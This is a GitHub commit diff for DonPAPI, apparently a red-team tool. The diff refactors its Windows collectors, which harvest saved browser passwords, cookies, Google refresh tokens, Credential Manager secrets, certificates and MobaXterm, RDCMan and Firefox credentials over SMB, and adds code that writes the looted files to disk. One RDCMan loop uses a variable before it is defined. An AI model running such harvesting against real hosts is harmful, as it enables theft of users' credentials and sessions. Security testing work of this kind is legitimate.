Skip to content

Commit a6c17f4

Browse files
authored
Update dploot (login-securite#110)
* update dploot and related functions * update dependencies
1 parent fd8eb66 commit a6c17f4

File tree

12 files changed

+151
-79
lines changed

12 files changed

+151
-79
lines changed

donpapi/collectors/Certificates.py

Lines changed: 7 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -22,19 +22,17 @@ def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: list,
2222

2323
def run(self) -> None:
2424
self.logger.display(f"Dumping User{' and Machine' if self.context.remoteops_allowed else ''} Certificates")
25-
certificates_triage = CertificatesTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
26-
certificates = certificates_triage.triage_certificates()
27-
for certificate in certificates:
25+
26+
def certificate_callback(certificate):
2827
cert_username = certificate.username.rstrip("\x00")
2928
filename = f"{cert_username}_{certificate.filename[:16]}.pfx"
3029
self.print_and_store(certificate, cert_username, filename)
31-
30+
31+
certificates_triage = CertificatesTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys, per_certificate_callback=certificate_callback,)
32+
certificates_triage.triage_certificates()
3233
if self.context.remoteops_allowed:
33-
system_certificates = certificates_triage.triage_system_certificates()
34-
for certificate in system_certificates:
35-
cert_username = certificate.username.rstrip("\x00")
36-
filename = f"{cert_username}_{certificate.filename[:16]}.pfx"
37-
self.print_and_store(certificate, cert_username, filename)
34+
certificates_triage.triage_system_certificates()
35+
3836

3937
def print_and_store(self, certificate, cert_username, filename) -> None:
4038
absolute_local_filepath = path.join(self.context.target_output_dir, filename)

donpapi/collectors/Chromium.py

Lines changed: 22 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,8 @@
11
from typing import Any
22
from dploot.lib.target import Target
33
from dploot.lib.smb import DPLootSMBConnection
4-
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken
4+
from dploot.lib.utils import dump_looted_files_to_disk
5+
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
56
from donpapi.core import DonPAPICore
67
from donpapi.lib.logger import DonPAPIAdapter
78

@@ -20,28 +21,30 @@ def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: list,
2021

2122
def run(self):
2223
self.logger.display("Dumping User Chromium Browsers")
23-
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
24-
browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=True)
25-
for credential in browser_credentials:
24+
25+
def browser_callback(credential):
2626
if isinstance(credential, LoginData):
2727
cred_url = credential.url + " -" if credential.url != "" else "-"
2828
self.logger.secret(f"[{credential.winuser}] [Password] {cred_url} {credential.username}:{credential.password}", f"{credential.browser.upper()}")
2929
self.context.db.add_secret(computer=self.context.host, collector=self.tag, windows_user=credential.winuser, username=credential.username, password=credential.password, target=credential.url, program=credential.browser.title())
3030
elif isinstance(credential, GoogleRefreshToken):
3131
self.logger.secret(f"[{credential.winuser}] [Google Refresh Token] {credential.service}:{credential.token}", f"{credential.browser.upper()}")
3232
self.context.db.add_secret(computer=self.context.host, collector=self.tag, windows_user=credential.winuser, username=credential.service, password=credential.token, target="Google Refresh Token", program=credential.browser.title())
33-
for cookie in cookies:
34-
if cookie.cookie_value != "":
35-
self.logger.secret(f"[{cookie.winuser}] [Cookie] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}",f"{cookie.browser.upper()}")
36-
self.context.db.add_cookie(
37-
computer=self.context.host,
38-
browser=cookie.browser,
39-
windows_user=cookie.winuser,
40-
url=f"{cookie.host}{cookie.path}",
41-
cookie_name=cookie.cookie_name,
42-
cookie_value=cookie.cookie_value,
43-
creation_utc=cookie.creation_utc,
44-
expires_utc=cookie.expires_utc,
45-
last_access_utc=cookie.last_access_utc,
46-
)
47-
33+
elif isinstance(credential, Cookie):
34+
if credential.cookie_value != "":
35+
self.logger.secret(f"[{credential.winuser}] [Cookie] {credential.host}{credential.path} - {credential.cookie_name}:{credential.cookie_value}",f"{credential.browser.upper()}")
36+
self.context.db.add_cookie(
37+
computer=self.context.host,
38+
browser=credential.browser,
39+
windows_user=credential.winuser,
40+
url=f"{credential.host}{credential.path}",
41+
cookie_name=credential.cookie_name,
42+
cookie_value=credential.cookie_value,
43+
creation_utc=credential.creation_utc,
44+
expires_utc=credential.expires_utc,
45+
last_access_utc=credential.last_access_utc,
46+
)
47+
48+
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys, per_secret_callback=browser_callback)
49+
browser_triage.triage_browsers(gather_cookies=True)
50+
dump_looted_files_to_disk(self.context.target_output_dir, browser_triage.looted_files)

donpapi/collectors/CredMan.py

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
from dploot.lib.target import Target
33
from dploot.lib.smb import DPLootSMBConnection
44
from dploot.triage.credentials import CredentialsTriage
5+
from dploot.lib.utils import dump_looted_files_to_disk
56
from donpapi.core import DonPAPICore
67
from donpapi.lib.logger import DonPAPIAdapter
78

@@ -20,13 +21,12 @@ def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: list,
2021

2122
def run(self):
2223
self.logger.display(f"Dumping User{' and Machine' if self.context.remoteops_allowed else ''} Credential Manager")
23-
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
24-
credentials = credentials_triage.triage_credentials()
25-
for credential in credentials:
24+
def credman_callback(credential):
2625
self.logger.secret(f"[{credential.winuser}] {credential.target} - {credential.username}:{credential.password}", self.tag)
2726
self.context.db.add_secret(computer=self.context.host, collector=self.tag, windows_user=credential.winuser, username=credential.username.rstrip("\x00"), password=credential.password.rstrip("\x00"), target=credential.target.rstrip("\x00"))
27+
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys, per_credential_callback=credman_callback)
28+
credentials_triage.triage_credentials()
2829
if self.context.remoteops_allowed:
29-
system_credentials = credentials_triage.triage_system_credentials()
30-
for credential in system_credentials:
31-
self.logger.secret(f"[SYSTEM] {credential.target} - {credential.username}:{credential.password}", self.tag)
32-
self.context.db.add_secret(computer=self.context.host, collector=self.tag, windows_user="SYSTEM", username=credential.username.rstrip("\x00"), password=credential.password.rstrip("\x00"), target=credential.target.rstrip("\x00"))
30+
credentials_triage.triage_system_credentials()
31+
32+
dump_looted_files_to_disk(self.context.target_output_dir, credentials_triage.looted_files)

donpapi/collectors/Firefox.py

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
import hmac
22
import json
33
import ntpath
4+
import os
45
import sqlite3
56
import tempfile
67
from os import remove
@@ -15,6 +16,7 @@
1516
from dploot.lib.target import Target
1617
from donpapi.core import DonPAPICore
1718
from donpapi.lib.logger import DonPAPIAdapter
19+
from donpapi.lib.utils import dump_file_to_loot_directories
1820

1921

2022
CKA_ID = unhexlify("f8000000000000000000000000000001")
@@ -94,18 +96,21 @@ def collect(self):
9496
cookies_data = self.conn.readFile(self.context.share, cookies_path)
9597
if cookies_data is not None:
9698
firefox_cookies += self.parse_cookie_data(user, cookies_data)
99+
dump_file_to_loot_directories(os.path.join(self.context.target_output_dir, *(cookies_path.split('\\'))), cookies_data)
97100

98101
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
99102
logins_data = self.conn.readFile(self.context.share, logins_path)
100103
if logins_data is None:
101104
continue # No logins.json file found
105+
dump_file_to_loot_directories(os.path.join(self.context.target_output_dir, *(logins_path.split('\\'))), logins_data)
102106
logins = self.get_login_data(logins_data=logins_data)
103107
if len(logins) == 0:
104108
continue # No logins profile found
105109
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
106110
key4_data = self.conn.readFile(self.context.share, key4_path, bypass_shared_violation=True)
107111
if key4_data is None:
108112
continue
113+
dump_file_to_loot_directories(os.path.join(self.context.target_output_dir, *(key4_path.split('\\'))), key4_data)
109114
key = self.get_key(key4_data=key4_data)
110115
if key is None and self.target.password != "":
111116
key = self.get_key(

donpapi/collectors/MRemoteNG.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
import ntpath
22
import hashlib
3+
import os
34
from typing import Any
45
from lxml import objectify
56
from base64 import b64decode
@@ -9,6 +10,7 @@
910
from dploot.lib.smb import DPLootSMBConnection
1011
from donpapi.core import DonPAPICore
1112
from donpapi.lib.logger import DonPAPIAdapter
13+
from donpapi.lib.utils import dump_file_to_loot_directories
1214

1315

1416
@dataclass
@@ -48,6 +50,7 @@ def run(self):
4850
content = self.conn.readFile(self.context.share, tmp_confcons_path)
4951
if content is None:
5052
continue
53+
dump_file_to_loot_directories(os.path.join(self.context.target_output_dir, *(tmp_confcons_path.split('\\'))), content)
5154
main = objectify.fromstring(content)
5255
try:
5356
encryption_attributes = MRemoteNgEncryptionAttributes(

donpapi/collectors/MobaXTerm.py

Lines changed: 11 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
from typing import Any
22
from dploot.lib.target import Target
33
from dploot.lib.smb import DPLootSMBConnection
4+
from dploot.lib.utils import dump_looted_files_to_disk
45
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
56
from donpapi.core import DonPAPICore
67
from donpapi.lib.logger import DonPAPIAdapter
@@ -21,16 +22,17 @@ def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: list,
2122
def run(self):
2223
if self.context.remoteops_allowed:
2324
self.logger.display("Dumping MobaXterm credentials")
24-
mobaxterm_triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
25+
def mobaxterm_callback(credential):
26+
if isinstance(credential, MobaXtermCredential):
27+
self.logger.secret(f"[Credential] [{credential.winuser}] {credential.name} - {credential.username}:{credential.password.decode('latin-1')}", self.tag)
28+
self.context.db.add_secret(computer=self.context.host, collector=self.tag, windows_user=credential.winuser, program=self.tag, username=credential.username, password=credential.password.decode('latin-1'))
29+
elif isinstance(credential, MobaXtermPassword):
30+
self.logger.secret(f"[Password] [{credential.winuser}] {credential.username}:{credential.password.decode('latin-1')}", self.tag)
31+
self.context.db.add_secret(computer=self.context.host, collector=self.tag, windows_user=credential.winuser, program=self.tag, username=credential.username, password=credential.password.decode('latin-1'))
32+
mobaxterm_triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
2533
try:
26-
_, credentials = mobaxterm_triage.triage_mobaxterm()
27-
for credential in credentials:
28-
if isinstance(credential, MobaXtermCredential):
29-
self.logger.secret(f"[Credential] [{credential.winuser}] {credential.name} - {credential.username}:{credential.password.decode('latin-1')}", self.tag)
30-
self.context.db.add_secret(computer=self.context.host, collector=self.tag, windows_user=credential.winuser, program=self.tag, username=credential.username, password=credential.password.decode('latin-1'))
31-
elif isinstance(credential, MobaXtermPassword):
32-
self.logger.secret(f"[Password] [{credential.winuser}] {credential.username}:{credential.password.decode('latin-1')}", self.tag)
33-
self.context.db.add_secret(computer=self.context.host, collector=self.tag, windows_user=credential.winuser, program=self.tag, username=credential.username, password=credential.password.decode('latin-1'))
34+
mobaxterm_triage.triage_mobaxterm()
35+
dump_looted_files_to_disk(self.context.target_output_dir, mobaxterm_triage.looted_files)
3436
except Exception as e:
3537
if "ERROR_FILE_NOT_FOUND" not in str(e):
3638
self.logger.error(f"Error while dumping mobaxterm: {e}")

donpapi/collectors/RDCMan.py

Lines changed: 15 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,8 @@
11
from typing import Any
22
from dploot.lib.target import Target
33
from dploot.lib.smb import DPLootSMBConnection
4-
from dploot.triage.rdg import RDGTriage
4+
from dploot.triage.rdg import RDGTriage, RDGServerProfile
5+
from dploot.lib.utils import dump_looted_files_to_disk
56
from donpapi.core import DonPAPICore
67
from donpapi.lib.logger import DonPAPIAdapter
78

@@ -26,16 +27,23 @@ def run(self):
2627
if rdcman_file is None:
2728
continue
2829
for rdg_cred in rdcman_file.rdg_creds:
29-
if rdg_cred.type in ["cred", "logon", "server"]:
30-
log_text = f"{rdg_cred.server_name} - {rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if rdg_cred.type == "server" else f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
31-
self.logger.secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.tag)
32-
self.context.db.add_secret(computer=self.context.host, collector=self.tag, windows_user=rdcman_file.winuser, username=rdg_cred.username, password=rdg_cred.password.decode("latin-1"), target=rdg_cred.server_name if rdg_cred.type == "server" else "")
30+
target = ""
31+
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
32+
if isinstance(rdg_cred,RDGServerProfile):
33+
target = rdg_cred.server_name
34+
log_text = f"{rdg_cred.server_name} - {log_text}"
35+
self.logger.secret(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}", self.tag)
36+
self.context.db.add_secret(computer=self.context.host, collector=self.tag, windows_user=rdcman_file.winuser, username=rdg_cred.username, password=rdg_cred.password.decode("latin-1"), target=target)
3337
for rdgfile in rdgfiles:
3438
if rdgfile is None:
3539
continue
3640
for rdg_cred in rdgfile.rdg_creds:
41+
target = ""
3742
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
38-
if rdg_cred.type == "server":
43+
if isinstance(rdg_cred,RDGServerProfile):
44+
target = rdg_cred.server_name
3945
log_text = f"{rdg_cred.server_name} - {log_text}"
4046
self.logger.secret(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}", self.tag)
41-
self.context.db.add_secret(computer=self.context.host, collector=self.tag, windows_user=rdcman_file.winuser, username=rdg_cred.username, password=rdg_cred.password.decode("latin-1"), target=rdg_cred.server_name if rdg_cred.type == "server" else "")
47+
self.context.db.add_secret(computer=self.context.host, collector=self.tag, windows_user=rdcman_file.winuser, username=rdg_cred.username, password=rdg_cred.password.decode("latin-1"), target=target)
48+
49+
dump_looted_files_to_disk(self.context.target_output_dir, rdg_triage.looted_files)

0 commit comments

Comments
 (0)